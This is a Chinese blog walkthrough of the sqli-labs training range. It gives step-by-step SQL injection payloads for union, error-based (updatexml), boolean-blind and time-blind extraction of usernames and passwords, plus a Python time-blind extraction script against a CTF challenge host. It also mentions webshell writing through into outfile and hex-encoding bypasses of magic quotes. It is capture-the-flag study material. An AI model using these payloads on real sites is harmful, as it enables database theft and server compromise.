sqli-labs闯关笔记

本文详细介绍了SQL注入攻击的逐步深入,包括报错注入、盲注(如布尔盲注和时间盲注)的原理和实战技巧,以及如何利用updatexml等函数进行攻击,还涉及到了防护措施和搜索型注入的识别。
摘要由CSDN通过智能技术生成

目录

一.第一关

二.第二关

三.第三关

四.第四关 

​编辑

五.第五关(初识报错注入)

六.第六关

七.第七关

八.第八关

九.第九关 

十.第十关

番外

1.sql注入的读写

2.sql报错注入

3.SQL盲注常用函数


一.第一关

1.打开页面观察一下

2.敲入?id=1在后面加上',"判断是个啥注入方式

3.报错了典型的单引号注入,顺着单引号注入开干!3没报错有三列,4报错了证明有最多有3列

/?id=-1 order by 3 %23 

4. 查看一下他有哪些库和数据库版本

/?id=-1' union select 1,database(),version() %23

5.得到了数据库名字'security' 开始爆库

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' %23

6.拿到了表名,开始爆表

?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' %23

7.看到了username,password这俩就是目标了!开搞

?id=-1' union select 1,group_concat(username),group_concat(password) from users %23

二.第二关

1.观察一下

2.敲个?id=1'看看情况

3.根据这个回显可以判断这把不需要用'来闭合语句所以直接敲就行判断列

4.看数据库版本和有啥库

?id=-1 union select 1,version(),database() --+

5.爆库

?id=-1 union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='security'

6.爆表

?id=-1 union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users'

 7.爆列

?id=-1 union select 1,group_concat(username),group_concat(password) from users

三.第三关

使用id=1'查看一下闭合情况,发现是单引号加括号的闭合

所以加上')来闭合然后使用--+来注释后面的东西

然后就是和之前一样的判断爆库爆表爆列判回显点

判断库的名字

?id=-1') union select 1,database(),3 --+

爆库

?id=-1') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+

爆表

?id=-1') union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' --+

 爆列

?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

四.第四关 

1.老样子判断一下是什么样的闭合方式,可以看出来是")的闭合

2.用'')闭合发现判断没有问题

3.然后就是老样子的爆库爆表爆列了

?id=-1") union select 1,database(),3 --+

4.爆库

?id=-1") union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+

 5.爆表

?id=-1") union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' --+

 6.爆列

?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

五.第五关(初识报错注入)

1.很明显和之前不一样了

2.老样子去判断一下他的闭合情况发现是单引号闭合

 3.按照上面的老办法打发现没有什么用,这时候去百度知道了报错注入,用updatexml来进行注入

1' and updatexml(1,concat(0x7e,database()),0) --+

 4.得到了库名接下来爆表 

?id=1' union select updatexml(1,concat(0x7e,(select(group_concat(table_name)) from information_schema.tables where table_schema='security')),0) --+

5.爆表

?id=1' union select updatexml(1,concat(0x7e,(select(group_concat(column_name)) from information_schema.columns where table_name='users')),0) --+

6.爆列

?id=1' union select updatexml(1,concat(0x7e,(select(group_concat(username,password)) from users)),0) --+

六.第六关

和第五关一样只是把闭合方式改成了:"

七.第七关

这关可以使用dnslogs外带,但是前提是注入网站是在windos上面搭建的,我搭建在了linux上所以我没办法测试,乐!

这关涉及到了布尔盲注是一个很麻烦的东西,耗时也很长,它适用于有报错信息回显的情况下使用.

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
 
 
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
 
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
 
 
 

八.第八关

和上面的第七关类似

九.第九关 

        这关涉及到时间盲注,适用于页面一直没有什么改变的情况下使用,很耗时耗力,

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
 
 
 
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

直接用大神的时间盲注脚本

import requests
import time
 
s = requests.session()          #创建session对象后,才可以调用对应的方法发送请求。
url = 'http://fff9f4b8-f0ad-4c2a-b499-2ee73acc6720.challenge.ctf.show/?id='
flag = ''
i = 0
while True:
    i = i + 1
    low = 32
    high = 127
    while low < high:
        mid = (low + high) // 2
        # 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))--+'
        # 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr((select group_concat(schema_name)from information_schema.schemata),{i},1))>{mid}),1,sleep(3))--+'

        # 查询数据表:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'ctfshow\')),{i},1))>{mid},1,sleep(3))--+'
        # 查询表字段:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flagug")),{i},1))>{mid},1,sleep(3))--+'
        # 查询字段中信息:payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'
        payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'

        stime = time.time()
        url1 = url + payload
        r = s.get(url=url1)
        r.encoding = "utf-8"
        # print(payload)
        if time.time() - stime < 2:
            low = mid + 1
        else:
            high = mid
    if low != 32:
        flag += chr(low)
    else:
        break
    print(flag)

十.第十关

和第九关类似把闭合方式变成:"

十一.第十一关

这关比较简单他单纯的有两个输入框(参数),需要做的是确定那个参数存在注入点,

很明显我们在username栏内加了单引号之后,有报错,所以可以确定是在username后面存在注入点,而且我们可以通过观察他顶部url栏中的变化,可以确定不是get方法传入的,这时候我们抓个包看看

使用bp抓包之后我们可以看到他是post传输方式,而且我们刚刚也确定了他是单引号的闭合,所以我们继续按照第一关思路一路爆过去,

剩下的就是和第一关一样的套路,一直爆下去就好了

十二.第十二关

和第十一关一样,就是闭合方式变成了")

十三.第十三关

本关就和之前的5,6关类似使用的报错注入,只不过他变成了有两个参数,通过bp抓包会好做一点

我们先敲入任意用户名,和密码,判断回显

很明显他没有任何的回显,这个时候我们确定他的闭合方式先猜测'敲进去之后根据他的回显就可以判断这是一个报错注入同时他的闭合方式为')

然后使用报错注入的方式来进行攻击,确定他的库名

unmae=1') union select updatexml(1,concat(0x7e,database()),0) --+

继续去攻击判断他的表名

union select updatexml(1,concat(0x7e,(select(group_concat(table_name)) from information_schema.tables where table_schema='security')),0) --+

然后去攻击他的列

union select updatexml(1,concat(0x7e,(select(group_concat(column_name)) from information_schema.columns where table_name='users')),0) --+

然后爆表

union select updatexml(1,concat(0x7e,(select(group_concat(username,password)) from users)),0) --+

番外

1.sql注入的读写

load_file:读取函数

into outfile或者into dumpfile:导出函数可以生成文件用(传入webshell攻击)
 

防护:
他可以通过魔术引号,和一些函数,waf来进行防御,

魔术引号(magic_quotes_gpc):对/,',",NULL等字符进行强制强制转义(绕过方法是通过16进制编码)

2.sql报错注入

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容

如何让全部的数据都校验失败呢? 恩,就是使用concat在需要的数据前面加上一个XPATH校验失败的东东就可以了。--于小葵
0x7e用来校验,version()是我们想要的数据,concat用来连接它们两个

Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析_sqlilabs靶场1–65过关-CSDN博客

SQL字符型注入(get)-利用updatexml函数-报错注入 - 知乎 (zhihu.com)

SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园 (cnblogs.com)

3.SQL盲注常用函数

if()
功能:条件判断。
语法格式:if(expr1,expr2,expr3):expr1
为true则返回expr2,expr1为false则返回 expr3。
注: 仅MySQL支持if(expr1,expr2,expr3)。

length()
功能:返回字符串的长度,以字节为单位。
语法格式:length(str)

substr()、substring()
功能:从指定的位置开始,截取字符串指定长度的子串。
语法格式:substr(str,pos)或substr(str,pos,len),substring(str,pos)或substring(str,pos,len)
参数说明
lstr:要提取子串的字符串。
lpos:提取子串的开始位置。
len:指定要提取的子串的长度

ascii()、ord()
功能:返回字符串最左边字符的ASCII码值。
语法格式:ascii(str),ord(str)
延时函数sleep()
功能:让语句延迟执行一段时间,执行成功后返回0。
语法格式:sleep(N),即延迟执行N秒

4.搜索型注入

语句是like '%usernam

users= 1‘ 报错,说明很有可能存在注入漏洞
users= 1% 报错,说明特别可能存在注入漏洞
users= 1% ‘and 1=1 and ‘%’=’ 正确
users= 1% ‘and 1=2 and ‘%’=’ 错误

就可以开始注入了,闭合他的%'如何正常玩

  • 8
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值